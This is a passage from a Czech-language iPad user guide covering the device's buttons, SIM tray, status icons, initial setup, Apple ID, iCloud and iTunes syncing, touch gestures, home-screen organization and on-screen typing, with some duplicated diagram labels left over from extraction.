této kapitole se seznámíte s funkcemi zařízení iPad, jeho ovládacími prvky a dalšími informacemi. Celkový pohled na iPad iPad mini  Displej Multi-Touch Displej Multi-Touch Fotoaparát FaceTime Fotoaparát FaceTime Plocha Plocha Ikony aplikací Ikony aplikací Postranní přepínač Postranní přepínač Zesílení/ Ztišení Zesílení/ Ztišení Lightning konektor Lightning konektor Reproduktor Reproduktor Mikrofon Mikrofon Konektor náhlavní soupravy Konektor náhlavní soupravy Spánek/ Probuzení Spánek/ Probuzení Fotoaparát iSight Fotoaparát iSight Zásuvka nano SIM (na některých modelech) Zásuvka nano SIM (na některých modelech) iPad v kostceKapitola 1 iPad v kostce 8 iPad Displej Multi-Touch Displej Multi-Touch Fotoaparát FaceTime Fotoaparát FaceTime Plocha Plocha Ikony aplikací Ikony aplikací Lightning konektor Lightning konektor Uspat/ probudit Uspat/ probudit Reproduktor Reproduktor Mikrofon Mikrofon Konektor náhlavní soupravy Konektor náhlavní soupravy Zásuvka mikro SIM (na některých modelech) Zásuvka mikro SIM (na některých modelech) Fotoaparát iSight Fotoaparát iSight Zesílení/ Zti�ení Zesílení/ Zti�ení Postranní přepínač Postranní přepínač Je možné, že vzhled vašeho zařízení iPad a jeho plochy může být odlišný v závislosti na modelu zařízení iPad. Příslušenství Se zařízením iPad se dodává následující příslušenství: Síťový USB adaptér:  Přiložený síťový USB adaptér slouží k napájení zařízení iPad a k dobíjení baterie.Kapitola 1 iPad v kostce 9 Poznámka:  Typ dodávaného síťového adaptéru pro zařízení iPad závisí na modelu a regionu. Kabel Lightning-USB:  Tímto kabelem lze iPad a iPad mini připojit k síťovému USB adaptéru za účelem dobití nebo k počítači za účelem synchronizace. Tento kabel můžete použít se zvlášť dodávaným příslušenstvím iPad Dock nebo jej zapojit přímo do zařízení iPad. Kabel Dokový konektor-USB:  Tímto kabelem lze iPad 2 a iPad 3. generace připojit k síťovému USB adaptéru za účelem dobití nebo k počítači za účelem synchronizace. Tento kabel můžete použít se zvlášť dodávaným příslušenstvím iPad Dock nebo jej zapojit přímo do zařízení iPad. Tlačítka iPad je vybaven několika tlačítky, jimiž jej lze snadno uzamknout a nastavit hlasitost. Tlačítko Spánek/probuzení Pokud iPad nepoužíváte, můžete jej uzamknout tím, že jej uspíte. Když je iPad uzamčený, obrazovka nereaguje na dotyk, ale přehrávání hudby pokračuje a je možné používat tlačítko hlasitosti. Tlačítko Spánek/ Probuzení Tlačítko Spánek/ Probuzení Uzamčení zařízení iPad:  Stiskněte tlačítko Spánek/probuzení. Odemčení zařízení iPad:  Stiskněte tlačítko plochy nebo tlačítko Spánek/probuzení a posuňte jezdec. Vypnutí zařízení iPad:  Podržte na několik sekund tlačítko Spánek/probuzení, až se objeví červený jezdec. Poté jezdec přesuňte. Zapnutí zařízení iPad:  Podržte tlačítko Spánek/probuzení, dokud se nezobrazí logo Apple. Pokud se minutu či dvě nedotknete obrazovky, iPad se automaticky uzamkne. Čas před uzamčením zařízení iPad můžete nastavit a také můžete nastavit kód, který bude požadován pro jeho odemčení. Nastavení doby automatického uzamčení:  Otevřete Nastavení > Obecné > Uzamčení. Nastavení přístupového kódu:  Otevřete Nastavení > Obecné > Kódový zámek. K uzamčení zařízení iPad nebo novějšího můžete použít příslušenství iPad Smart Cover nebo iPad 2 Smart Case. Použití příslušenství iPad Smart Cover nebo iPad Smart Case:  Otevřete na zařízení iPad Nastavení > Obecné > Pouzdro: uzamčení/odemčení.Kapitola 1 iPad v kostce 10 Tlačítko plochy Tlačítkem plochy se můžete kdykoli vrátit zpět na plochu. Zároveň toto tlačítko využívají některé praktické zkratky. Zobrazení plochy:  Stiskněte tlačítko plochy . Klepnutím na aplikaci na ploše tuto aplikaci otevřete. Viz Otvírání aplikací a přepínání mezi nimi na stránce 18. Zobrazení naposledy použitých aplikací:  Odemkněte iPad a dvakrát stiskněte tlačítko plochy . V horní části obrazovky se nachází panel souběžných úloh, na kterém se zobrazují naposledy použité aplikace. Přejetím přes panel doleva zobrazíte další aplikace. Zobrazení ovládacích prvků pro přehrávání zvuku:   • Je-li iPad uzamčen:  Dvakrát stiskněte tlačítko plochy . Viz Přehrávání hudby na stránce 82. • Během používání jiné aplikace:  Dvakrát stiskněte tlačítko plochy a poté na panelu souběžných úloh švihněte zleva doprava. Použití Siri (iPad 3. generace nebo novější):  Stiskněte a přidržte tlačítko plochy . Viz Kapitola 4, Siri, na stránce 36. Tlačítko hlasitosti a postranní přepínač Pomocí postranního přepínače můžete vypnout zvukové výstrahy a upozornění. Také jej můžete využít k uzamčení otáčení obrazovky a k tomu, abyste zabránili přepínání displeje zařízení iPad mezi orientací na výšku a na šířku. Nastavení hlasitosti:  Stisknutím tlačítka hlasitosti nahoře nebo dole zvýšíte nebo snížíte hlasitost. • Vypnutí zvuku:  Podržte dolní konec tlačítka hlasitosti. • Nastavení limitu hlasitosti:  Otevřete Nastavení > Hudba > Limit hlasitosti. Vypnutí zvuku oznámení, upozornění a dalších zvukových efektů:  Přesuňte postranní přepínač směrem dolů: Postranní přepínač neztlumí přehrávání zvukového obsahu, jako je hudba, podcasty, filmy a televizní pořady. Viz Postranní přepínač na stránce 123. Uzamčení orientace obrazovky:  Vyberte Nastavení > Obecné > Použít postranní přepínač a klepněte na tlačítko Uzamknout rotaci. Tlačítko hlasitosti slouží k úpravě hlasitosti hudby a jiných médií, upozornění a dalších zvukových efektů. Postranní přepínač Postranní přepínač VAROVÁNÍ:  Důležité informace o předcházení poškození sluchu najdete v části Důležité informace o bezpečnosti na stránce 132. Zvuk FaceTime hovorů, upozornění a oznámení můžete vypnout pomocí funkce Nerušit.Kapitola 1 iPad v kostce 11 Nastavení zařízení iPad do režimu Nerušit:  Přejděte do Nastavení a zapněte funkci Nerušit. Funkce Nerušit zabraňuje přehrávání zvuků pro upozornění a oznámení i rozsvícení uzamčené obrazovky. Zvuk budíku není touto funkcí ovlivněn. V případě, že je obrazovka iPodu touch odemčena, funkce Nerušit nemá na funkce iPadu žádný vliv. Chcete-li nastavit časové rozmezí, ve kterém nechcete být rušeni, umožnit vybraným lidem nebo vytrvalým volajícím, aby se vám dovolali, otevřete Nastavení > Oznámení > Nerušit. Viz Funkce Nerušit a Oznámení na stránce 119. Zásuvka SIM karty V zařízení iPad (modely Wi-Fi + cellular) můžete použít SIM kartu pro mobilní data. Pokud vaše SIM karta nebyla předinstalována nebo změníte-li operátora mobilních datových služeb, je možné, že bude třeba SIM kartu nainstalovat nebo vyměnit. iPad mini Wi-Fi + cellular Nano SIM karta Nano SIM karta Zásuvka SIM karty Zásuvka SIM karty Nástroj pro vysunutí SIM Nástroj pro vysunutí SIM iPad Wi-Fi + cellular Mikro SIM karta Mikro SIM karta Zásuvka SIM karty Zásuvka SIM karty Nástroj pro vysunutí SIM Nástroj pro vysunutí SIM Otevření zásuvky SIM:  Vsuňte špičku nástroje na vysunutí karty SIM do otvoru v zásuvce SIM. Pevně jej stiskněte a zatlačte jej přímo dovnitř, dokud zásuvka nevyskočí. Zásuvku SIM vyjměte a nainstalujte nebo vyměňte SIM kartu. Pokud nemáte nástroj na vysunutí SIM karty, můžete místo něj někdy použít konec malé kancelářské sponky. Více informací viz Mobilní data na stránce 118.Kapitola 1 iPad v kostce 12 Stavové ikony Ikony ve stavovém řádku na horním okraji obrazovky poskytují informace o zařízení iPad: Stavová ikona Význam Letový režim Značí, že je aktivní letový režim a nelze se připojit k Internetu ani používat zařízení Bluetooth®. Funkce nezávislé na bezdrátové síti jsou k dispozici. Viz Letový režim na stránce 116. LTE Značí, že iPad (modely Wi-Fi + cellular) je připojen k Internetu přes 4G LTE síť. 4G Značí, že iPad (modely Wi-Fi + cellular) je připojen k Internetu přes 4G síť. 3G Značí, že iPad (modely Wi-Fi + cellular) je připojen k Internetu přes 3G síť. EDGE Značí, že iPad (modely Wi-Fi + cellular) je připojen k Internetu přes EDGE síť. GPRS Značí, že iPad (modely Wi-Fi + cellular) je připojen k Internetu přes GPRS síť. Wi-Fi Značí, že je iPad připojený k Internetu přes Wi-Fi. Více dílků značí silnější signál. Viz Připojení k Wi-Fi síti na stránce 116. Nerušit Značí, že je zapnuta funkce „Nerušit“. Viz Funkce Nerušit a Oznámení na stránce 119. Osobní hotspot Značí, že iPad poskytuje Osobní hotspot jinému zařízení iPad, iPhone nebo iPod touch. Viz Osobní hotspot na stránce 117. Synchronizace Značí, že se iPad synchronizuje s iTunes. Viz Synchronizace s iTunes na stránce 16. Aktivita Značí síťovou a jinou aktivitu. Některé aplikace jiných výrobců tuto ikonu používají též k zobrazení aktivních procesů. VPN Značí, že je aktivní připojení k síti prostřednictvím VPN. Viz VPN na stránce 117. Zámek Značí, že je iPad uzamčen. Viz Tlačítko Spánek/probuzení na stránce 9. Budík Značí, že je nastavený budík. Viz Kapitola 17, Hodiny, na stránce 78. Zámek orientace obrazovky Značí, že je orientace obrazovky uzamčená. Viz Orientace na výšku a na šířku na stránce 20. Polohové služby Značí, že některá aplikace používá polohové služby. Viz Soukromí na stránce 125. Puštěno Značí, že je přehrávána skladba, audio kniha nebo podcast. Viz Přehrávání hudby na stránce 82. Bluetooth Bílá ikona:  Rozhraní Bluetooth je zapnuto a spárováno se zařízením, například náhlavní soupravou nebo klávesnicí. Šedá ikona:  Rozhraní Bluetooth je zapnuto a spárováno se zařízením, ale zařízení je mimo dosah nebo je vypnuto. Žádná ikona:  Rozhraní Bluetooth není spárováno se zařízením. Viz Zařízení Bluetooth na stránce 33. Baterie zařízení Bluetooth Zobrazuje úroveň nabití baterie v podporovaném spárovaném zařízení Bluetooth. Baterie Značí úroveň baterie nebo stav nabíjení. Viz Baterie na stránce 35.2 13 V této kapitole se mimo jiné dozvíte, jak nastavit iPad a poštovní účty nebo jak používat iCloud. Co potřebujete · VAROVÁNÍ:  Předcházejte úrazům a před použitím zařízení Důležité informace o bezpečnosti na stránce 132 si přečtěte iPad. Pro použití zařízení iPad potřebujete: • Připojení k Internetu (doporučena širokopásmová síť) • Apple ID (pro některé funkce, například pro služby iCloud, App Store, iTunes Store a nakupování online) Apple ID si můžete vytvořit během počátečního nastavení. Chcete-li iPad používat s počítačem, budete potřebovat: • Mac nebo PC s rozhraním USB 2.0 nebo 3.0 a jedním z těchto operačních systémů: • Mac OS X verze 10.6.8 nebo novější • Windows 7, Windows Vista nebo Windows XP Home či Professional se softwarem Service Pack 3 nebo novějším • iTunes 11 nebo novější (pro některé funkce), k dispozici na adrese www.apple.com/cz/itunes/download/ Nastavení iPadu Chcete-li iPad, nastavit, zapněte jej a postupujte podle pokynů v Asistentu nastavení. Pokyny na obrazovce Asistentu nastavení vás provedou celým procesem včetně následujících kroků: • Připojení k Wi-Fi síti • Přihlášení pomocí Apple ID nebo vytvoření bezplatného Apple ID • Nastavení iCloudu • Zapnutí doporučených funkcí, například Polohových služeb a služby Hledat iPad V rámci této přípravy můžete zkopírovat své aplikace, nastavení a obsah z jiného zařízení iPad – to lze provést obnovením ze zálohy na iCloudu nebo z iTunes. Viz Zálohování iPadu na stránce 137. Apple ID Apple ID je uživatelské jméno pro bezplatný účet, který vám umožňuje přístup ke službám společnosti Apple, například k obchodům iTunes Store a App Store nebo k iCloudu. K využívání všech služeb společnosti Apple vám stačí jediné Apple ID. Služby a produkty, které jeho prostřednictvím využíváte, kupujete nebo si pronajímáte, mohou být zpoplatněny. ZačínámeKapitola 2 Začínáme 14 Máte-li Apple ID, použijte je při prvním nastavení zařízení iPad a dále pokaždé, když se budete chtít přihlásit k používání některé ze služeb společnosti Apple. Pokud Apple ID ještě nemáte, můžete si je vytvořit při zobrazení výzvy k přihlášení. Vytvoření Apple ID: Otevřete Nastavení > iTunes a App Store a klepněte na Přihlásit se. (Pokud jste již přihlášeni a chcete vytvořit jiné Apple ID, klepněte nejprve na své aktuální Apple ID a poté na Odhlásit se.) Další informace viz support.apple.com/kb/he37?viewlocale=cs_CZ. Nastavení pošty a dalších účtů iPad spolupracuje s iCloudem, Microsoft Exchange a mnoha dalšími oblíbenými internetovými poskytovateli pošty, kontaktů a kalendářových služeb. Nemáte-li dosud poštovní účet, můžete si zřídit bezplatný účet iCloud během nastavování zařízení iPad nebo i později v Nastavení > iCloud. Viz Použití iCloudu na stránce 15. Nastavení účtu iCloud:  Otevřete Nastavení > iCloud. Nastavení jiného účtu:  Vyberte Nastavení > Pošta, kontakty, kalendáře. Pokud vaše firma nebo organizace podporuje LDAP nebo CardDAV, můžete přidat kontakty pomocí těchto služeb. Viz Přidávání kontaktů na stránce 72. Další informace o nastavení účtu Microsoft Exchange ve firemním prostředí viz Nastavení účtů Microsoft Exchange na stránce 127. Správa obsahu na iPadu Informace a soubory můžete mezi zařízením iPad a vašimi dalšími zařízeními iOS a počítači přenášet pomocí iCloudu nebo iTunes. • iCloud ukládá váš obsah, například hudbu, fotografie, kalendáře, kontakty, dokumenty a další data, a automaticky je prostřednictvím bezdrátové sítě přenáší do vašich ostatních iOS zařízení a počítačů a udržuje je tak v aktuálním stavu. Viz Použití iCloudu níže. • iTunes synchronizují hudbu, video, fotografie a další data mezi vaším počítačem a zařízením iPad. Změny, které provedete v jednom zařízení, budou při synchronizaci zkopírovány do druhého. Pomocí iTunes můžete také zkopírovat do zařízení iPad soubor, který chcete použít v určité aplikaci, nebo přenést do počítače dokument, který jste vytvořili na zařízení iPad. Viz Synchronizace s iTunes na stránce 16. Podle potřeby můžete použít iCloud, iTunes nebo obojí. Pomocí Fotostreamu služby iCloud můžete například automaticky přenášet fotografie, které jste pořídili pomocí zařízení iPad, do svých dalších zařízení a pomocí iTunes synchronizovat fotoalba mezi svým počítačem a zařízením iPad. Poznámka:  Nesynchronizujte položky na informačním panelu v iTunes (například kontakty, kalendáře a poznámky) a souběžně s aktualizací těchto dat ve svých zařízeních pomocí iCloudu. V opačném případě můžete v zařízení iPad vytvořit duplicitní data.Kapitola 2 Začínáme 15 Použití iCloudu Služba iCloud umožňuje uložení vašeho obsahu (například hudby, fotografií, kontaktů, kalendářů či podporovaných dokumentů). Obsah uložený na iCloudu se bezdrátovou sítí přenáší do vašich ostatních zařízení iOS a počítačů, na kterých je nastaven stejný účet iCloud. iCloud je k dispozici na iOS zařízeních se systémem iOS 5 nebo novějším, na počítačích Mac se systémem OS X Lion verze 10.7.2 nebo novějším a také na počítačích PC s nainstalovaným Ovládacím panelem iCloud pro Windows (je nutné mít nainstalován systém Windows Vista s aktualizací Service Pack 2 nebo Windows 7). Funkce iCloudu zahrnuj: • iTunes v Cloudu – Stahování hudby a TV pořadů dříve zakoupených pomocí iTunes do zařízení iPad. Stahování je bezplatné a je k dispozici ve dne v noci. • Aplikace a knihy – Stahování položek dříve zakoupených v obchodě App Store nebo iBookstore. Stahování je bezplatné a je k dispozici ve dne v noci. • Fotostream – Fotografie pořízené na jednom zařízení se automaticky zobrazí na všech vašich ostatních zařízeních. Viz Fotostream na stránce 60. • Dokumenty v Cloudu – Dokumenty a data aplikací podporujících iCloud jsou aktualizovány ve všech vašich zařízeních. • Pošta, kontakty, kalendáře – Průběžná aktualizace e-mailových kontaktů, kalendářů, poznámek a připomínek ve všech vašich zařízeních. • Zálohování – Automatické zálohování obsahu zařízení iPad na iCloud, pokud je iPhone připojen k napájení a k Wi-Fi síti. Viz Zálohování pomocí iCloudu na stránce 137. • Hledat iPad – Pomocí této funkce můžete lokalizovat svůj iPad na mapě, zobrazit na něm zprávu, přehrát zvuk, uzamknout obrazovku nebo na dálku vymazat veškerá data. Viz Hledat iPad na stránce 34. • Hledat přátele – Udržujte si přehled o rodině a přátelích (při aktivním připojení k Wi-Fi nebo mobilní síti) pomocí aplikace Hledat přátele. Bezplatnou aplikaci si můžete stáhnout v obchodě App Store. • iTunes Match – Při zakoupení odběru služby iTunes Match můžete veškerou svou hudbu (včetně hudby importované z CD) nebo zakoupenou jinde než v iTunes, zpřístupnit na všech svých zařízeních a kdykoli ji stahovat a přehrávat. Viz iTunes Match na stránce 86. • Záložky iCloudu – V případě potřeby můžete zobrazit webové stránky, které jste již dříve otevřeli v jiných iOS zařízeních nebo v počítačích se systémem OS X Mountain Lion nebo novějším. Viz Kapitola 5, Safari, na stránce 43. S iCloudem získáte bezplatný poštovní účet a 5 GB volného místa pro uložení své pošty, dokumentů nebo záloh. Do tohoto úložného místa se nezapočítává zakoupená hudba, aplikace, televizní pořady a knihy ani váš Fotostream. Poznámka:  iCloud není k dispozici ve všech oblastech a také některé jeho funkce se mohou různit podle oblastí. Další informace najdete na adrese www.apple.com/cz/icloud. Přihlášení k účtu iCloud nebo vytvoření nového:  Vyberte Nastavení > iCloud. Spravování iCloudu:  Otevřete Nastavení > iCloud. • Aktivace nebo deaktivace služeb:  Otevřete nastavení > iCloud a zapněte požadované služby, například Fotostream nebo Dokumenty a data. • Zapnutí zálohování na iCloud:  Vyberte Nastavení > iCloud > Úložiště a zálohy. • Přikoupení úložného místa na iCloudu:  Otevřete Nastavení > iCloud > Úložiště a zálohy > Spravovat úložiště > Změnit předplatné úložiště a zvolte upgrade.Kapitola 2 Začínáme 16 Informace o nakupování úložného místa na iCloudu naleznete na adrese help.apple.com/icloud. Zapnutí funkce Automatická stahování pro hudbu, aplikace či knihy:  Vyberte Nastavení > Obchod. Zobrazení a stažení dřívějších nákupů: • Nákupy v obchodě iTunes Store:  Přejděte do iTunes a klepněte na Purchased . • Nákupy v obchodě App Store:  Přejděte do obchodu App Store a klepněte na Purchased . • Nákupy v obchodě iBookstore:  Přejděte do iBooks, klepněte na Store a poté na Purchased . Vyhledání vašeho zařízení iPad:  Navštivte webové stránky www.icloud.com, přihlaste se pomocí svého Apple ID a vyberte položku Hledat iPad. Důležité:  Aby bylo možné váš iPad vyhledat, musí být v zařízení iPad aktivována služba Hledat iPad (Nastavení > iCloud). Více informací o iCloudu naleznete na adrese www.apple.com/cz/icloud. Informace o podpoře najdete na adrese www.apple.com/emea/support/icloud/. Připojení zařízení iPad k počítači Připojte iPad k počítači pomocí přiloženého USB kabelu. Po připojení zařízení iPad k počítači, můžete synchronizovat data, hudbu a další obsah s iTunes. Synchronizaci s iTunes můžete provádět i bezdrátově. Viz Synchronizace s iTunes na stránce 16. Pokud právě neprobíhá synchronizace, lze iPad od počítače kdykoliv odpojit. Odpojíte-li jej během synchronizace, mohou být některá data synchronizována až při příštím připojení zařízení iPad k počítači. Synchronizace s iTunes Synchronizace s iTunes kopíruje informace z vašeho počítače do zařízení iPad a opačně. Synchronizaci můžete provést připojením zařízení iPad k počítači přiloženým USB kabelem nebo můžete nastavit iTunes pro bezdrátovou synchronizaci přes Wi-Fi. iTunes lze nastavit pro synchronizaci hudby, fotografií, videí, podcastů, aplikací a dalších typů dat. Chcete-li získat další informace o synchronizaci zařízení iPad s počítačem, spusťte v počítači iTunes a použijte příkaz Nápověda pro iTunes z nabídky Nápověda. Nastavení bezdrátové synchronizace v iTunes:  Připojte iPad k počítači pomocí přiloženého USB kabelu. V iTunes na počítači vyberte iPad (v části Zařízení), klikněte na Souhrn a zapněte synchronizaci přes Wi-Fi.Kapitola 2 Začínáme 17 Je-li zapnutá synchronizace přes Wi-Fi, iPad se synchronizuje automaticky každý den. Přitom musí být připojen k napájecímu zdroji, iPad i počítač musí být připojeny ke stejné bezdrátové síti a v počítači musí být otevřeny iTunes. Více informací viz Synchronizace iTunes přes Wi-Fi na stránce 121. Tipy pro synchronizaci s iTunes • Používáte-li k ukládání kontaktů, kalendářů, záložek a poznámek službu iCloud, nesynchronizujte je se zařízením iPad zároveň pomocí iTunes. • Nákupy z iTunes Store nebo App Store provedené na zařízení iPad jsou synchronizovány zpět do vaší knihovny iTunes. Můžete si též koupit nebo stáhnout obsah a aplikace z iTunes Store do svého počítače a pak je synchronizovat do zařízení iPad. • Na souhrnném panelu zařízení můžete nastavit iTunes tak, aby váš iPad automaticky synchronizovaly vždy, když jej připojíte k počítači. Chcete-li toto nastavení dočasně potlačit, podržte klávesy Cmd a Alt (Mac) nebo Shift a Ctrl (PC) dokud se váš iPad neobjeví na bočním panelu. • Pokud chcete při pořízení zálohy v iTunes šifrovat data uložená do počítače, vyberte na souhrnné stránce zařízení iPad volbu „Šifrovat zálohy iPhonu“. Šifrované zálohy jsou označeny ikonou visacího zámku a před obnovou dat je požadováno heslo. Pokud tuto volbu nevyberete, nebudou do zálohy zahrnuta další hesla (například ta, která používáte pro poštovní účty) a pokud později iPad z této zálohy obnovíte, budete muset hesla zadat znovu. • Na informačním panelu zařízení je při synchronizaci poštovních účtů z vašeho počítače do zařízení iPad přeneseno pouze nastavení. Změny provedené na poštovním účtu v zařízení iPad neovlivní účet ve vašem počítači. • Na informačním panelu zařízení klikněte na Pokročilé. Zobrazí se volby, pomocí nichž můžete při příští synchronizaci nahradit informace v zařízení iPad informacemi z počítače. • Pokud si poslechnete část podcastu nebo audioknihy, při synchronizaci s iTunes se přenese i místo, kde jste přestali. Pokud jste začali poslouchat na zařízení iPad, můžete v iTunes v počítači pokračovat tam, kde jste skončili – nebo naopak. • Na panelu Fotografie v zařízení můžete synchronizovat fotografie a video ze složky ve vašem počítači. Prohlížení této příručky na iPadu Uživatelskou příručku pro iPad si můžete prohlédnout na zařízení iPad v Safari a v bezplatné aplikaci iBooks. Prohlížení uživatelské příručky v Safari:  V Safari klepněte na a poté na záložku Příručka pro iPad. Nebo navštivte webové stránky help.apple.com/ipad. Přidání ikony uživatelské příručky na plochu:  Klepněte na a poté na „Přidat na plochu“. Prohlížení uživatelské příručky v iBooks:  Pokud jste si iBooks dosud nenainstalovali, otevřete App Store a poté vyhledejte a nainstalujte aplikaci iBooks. Otevřete iBooks a klepněte na Store. Vyhledejte text „Příručka pro iPad“, vyberte uživatelskou příručku a stáhněte ji. Další informace o iBooks viz Kapitola 23, iBooks, na stránce 93.3 18 Používání aplikací Pro interakci se zařízením iPad se používá klepání prsty, poklepávání, přejíždění a svírání či rozvírání prstů na objektech na dotykové obrazovce. Otvírání aplikací a přepínání mezi nimi Na plochu přejdete stisknutím tlačítka plochy . Otevření aplikace:  Klepněte na ni. Na plochu se vrátíte dalším stisknutím tlačítka plochy . Zobrazení posledních použitých aplikací:  Dvojím stisknutím tlačítka plochy zobrazte panel souběžných úloh. Klepněte na aplikaci, kterou chcete opět použít. Přejetím doleva zobrazíte další aplikace. Pokud máte aplikací hodně, můžete je pohodlněji hledat a otevírat pomocí Spotlightu. Viz Hledání na stránce 27. ZákladyKapitola 3 Základy 19 Posuv Posuňte obsah obrazovky tažením nahoru nebo dolů. Na některých obrazovkách, jako jsou webové stránky, můžete též posouvat obsah ze strany na stranu. Tažením prstu po obrazovce nebude při posuvu nic vybráno ani aktivováno. Švihněte pro rychlý posuv. Můžete počkat, dokud se posuv nezastaví, nebo se dotknout obrazovky a zastavit posuv okamžitě. Chcete-li rychle přejít na začátek stránky, klepněte na stavový řádek u horního okraje obrazovky. Seznamy V závislosti na konkrétním seznamu může výběr položky vyvolat různou odezvu – může se například otevřít jiný seznam, přehrát skladba, otevřít e-mail nebo zobrazit něčí kontaktní údaje. Výběr položky v seznamu:  Klepněte na ni. Některé seznamy jsou po straně opatřeny indexem, který vám pomůže s rychlejším pohybem v seznamu. Hledání položek v indexovaném seznamu:  Klepnutím na nějaké písmeno zobrazíte položky začínající vybraným písmenem. Nebo můžete seznam rychle posunout tažením v indexu. Návrat do předchozího seznamu nebo na předchozí obrazovku:  Klepněte na návratové tlačítko v levém horním rohu.Kapitola 3 Základy 20 Zvětšení nebo zmenšení Aplikace může umožňovat přiblížení (zvětšení) nebo oddálení (zmenšení) obrázku na obrazovce. Například při prohlížení fotografií, webových stránek, pošty a map můžete zobrazení oddálit sevřením dvou prstů nebo přiblížit jejich rozevřením. Fotografie a webové stránky můžete přiblížit také poklepáním (dvojím klepnutím rychle za sebou) a pak dalším poklepáním opět oddálit. Na mapách můžete poklepáním zvětšit a jedním klepnutím dvěma prsty zmenšit zobrazení. Zvětšení je také speciální funkce zpřístupnění, která vám umožňuje zvětšit celou obrazovku jakékoli aplikace a pomáhá vám vidět, co je na displeji. Viz Zvětšení na stránce 111. Gesta souběžných úloh Pomocí gest pro souběžné úlohy se můžete na zařízení iPad vrátit na plochu, zobrazit panel souběžných úloh nebo přepnout do jiné aplikace. Návrat na plochu:  Sevřete čtyři nebo pět prstů. Zobrazení panelu souběžných úloh:  Přejeďte nahoru čtyřmi nebo pěti prsty. Přepnutí aplikací:  Přejeďte doleva nebo doprava čtyřmi nebo pěti prsty. Zapnutí nebo vypnutí gest pro souběžné úlohy:  Otevřete Nastavení > Obecné > Gesta souběžných úloh. Orientace na výšku a na šířku Mnohé aplikace můžete na zařízení iPad zobrazit na výšku i na šířku. Otočíte-li iPad na šířku, obrazovka se otočí také a přizpůsobí se nové orientaci.Kapitola 3 Základy 21 Uzamčení orientace obrazovky:  Dvakrát stiskněte tlačítko plochy , poté přejeďte přes panel souběžných úloh zleva doprava a klepněte na . Je-li orientace obrazovky uzamčená, ve stavovém řádku se objeví ikona uzamčení . Můžete též nastavit Postranní přepínač na uzamykání orientace obrazovky místo vypnutí zvukových efektů a oznámení. Vyberte Nastavení > Obecné a v části „Použít postranní přepínač“ klepněte na tlačítko Uzamknout rotaci. Viz Postranní přepínač na stránce 123. Úprava jasu obrazovky Jas obrazovky můžete nastavit ručně nebo můžete zapnout automatický jas, který mění jas na zařízení iPad automaticky podle vestavěného čidla okolního osvětlení. Úprava jasu obrazovky: Dvakrát stiskněte tlačítko plochy , přejeďte přes panel souběžných úloh zleva doprava a přetáhněte jezdec jasu. Jas Jas Zapnutí nebo vypnutí automatického jasu: Otevřete Nastavení > Jas a tapeta. Viz Jas a tapeta na stránce 125. Vlastní nastavení iPadu Rozložení aplikací na ploše můžete upravit podle potřeby, uspořádat je do složek a změnit tapetu. Změna uspořádání aplikací Plochu můžete přizpůsobit změnou uspořádání aplikací, přesunutím aplikací do Docku u dolního okraje obrazovky a vytvořením dalších ploch. Změna uspořádání aplikací: Dotkněte se kterékoli aplikace na ploše a držte na ní prst, dokud se nezačne třást. Poté můžete aplikace přesouvat tažením. Stiskem tlačítka plochy uspořádání uložte.Kapitola 3 Základy 22 Vytvoření nové plochy: Při uspořádávání aplikací přidržte některou aplikaci u pravého okraje poslední plochy, dokud se neobjeví nová plocha. Můžete vytvořit až 11 ploch. Tečky nad Dockem ukazují, kolik ploch právě máte a která z nich je zobrazena. • Přepínání mezi plochami: Přejeďte doleva nebo doprava. • Zobrazení první plochy: Stiskněte tlačítko plochy . Přesunutí aplikace na jinou plochu: Třesoucí se ikonu aplikace odtáhněte na okraj obrazovky. Přizpůsobení plochy pomocí iTunes:  Připojte iPad k počítači. Vyberte iPad na bočním panelu v iTunes na svém počítači a poté klepnutím na tlačítko Aplikace otevřete obrázek plochy zařízení iPad. Obnovení původního rozložení plochy: Otevřete Nastavení > Obecné > Obnovit a klepněte na Obnovit uspořádání plochy. Obnova plochy odstraní všechny vytvořené složky a nastaví výchozí tapetu. Uspořádání pomocí složek Aplikace na plochách můžete uspořádat pomocí složek. Uspořádání složek můžete měnit stejně jako u aplikací – tažením po plochách nebo do Docku. Vytvoření složky:  Dotkněte se aplikace, přidržte ji, dokud se ikony na ploše nezačnou třást, a poté ji odtáhněte na jinou aplikaci. iPad vytvoří novou složku obsahující obě aplikace a pojmenuje ji podle typu aplikací. Chcete-li zadat jiný název, klepněte na pole názvu. Otevření složky: Klepněte na složku. Chcete-li složku zavřít, klepněte mimo ni nebo stiskněte tlačítko plochy . Uspořádání pomocí složek: V režimu změny uspořádání aplikací (když se ikony třesou): • Přidání aplikace do složky: Přetáhněte aplikaci na složku. • Odstranění aplikace ze složky: Otevřete složku, pokud už není otevřena, a poté přetáhněte aplikaci mimo ni. • Smazání složky: Přesuňte všechny aplikace mimo složku. Složka bude smazána automaticky. • Přejmenování složky: Klepnutím složku otevřete, potom klepněte na její název a zadejte nový. Po dokončení stiskněte tlačítko plochy . Změna tapety Vzhled zamčené obrazovky a plochy můžete upravit výběrem obrázku nebo fotografie, které mají být použity jako tapeta. Vyberte některý z dodaných obrázků nebo fotografii z vašeho alba Fotoaparát nebo z jiného alba v zařízení iPad. Změna tapety: Otevřete Nastavení > Jas a tapeta.Kapitola 3 Základy 23 Psaní Potřebujete-li zadat text, můžete použít klávesnici na obrazovce. Zadávání textu K zadávání textu, jako jsou kontaktní údaje, e-maily nebo webové adresy, můžete použít klávesnici na obrazovce. V závislosti na použité aplikaci a jazyku může klávesnice opravovat překlepy, předvídat slova, která chcete napsat, a dokonce se od vás průběžně učit. K psaní lze použít i bezdrátovou klávesnici Apple. Viz Bezdrátová klávesnice Apple na stránce 26. Chcete-li místo psaní diktovat, přečtěte si informace v části Diktování na stránce 26. Zadání textu:  Klepnutím na textové pole zobrazte klávesnici a poté klepejte na její klávesy. Při psaní se každé písmeno zobrazí nad vaším prstem. Pokud se dotknete chybné klávesy, můžete posunout prst na správnou klávesu. Písmeno není zadáno, dokud klávesu nepustíte. • Psaní velkých písmen: Klepněte na klávesu Shift a poté na písmeno. Nebo se dotkněte a přidržte na klávese Shift a sklouzněte na písmeno. • Rychlý zápis tečky a mezery: Poklepejte na mezerník. • Zapnutí zámku velkých písmen: Poklepejte na klávesu Shift . Chcete-li zámek velkých písmen vypnout, klepněte na klávesu Shift. • Zadávání čísel, interpunkce a symbolů: Klepněte na klávesu čísel . Chcete-li zobrazit další interpunkční znaménka a symboly, klepněte na klávesu Symbol . • Zadávání znaků s diakritikou a jiných alternativních znaků: Dotkněte se klávesy, podržte ji a poté vyberte přetažením některou z voleb. Skrytí klávesnice na obrazovce: Klepněte na tlačítko klávesnice . Nastavení voleb pro psaní: Otevřete Nastavení > Obecné > Klávesnice. Úpravy textu Chcete-li upravit text, můžete kurzor umístit tam, kam potřebujete, pomocí lupy na 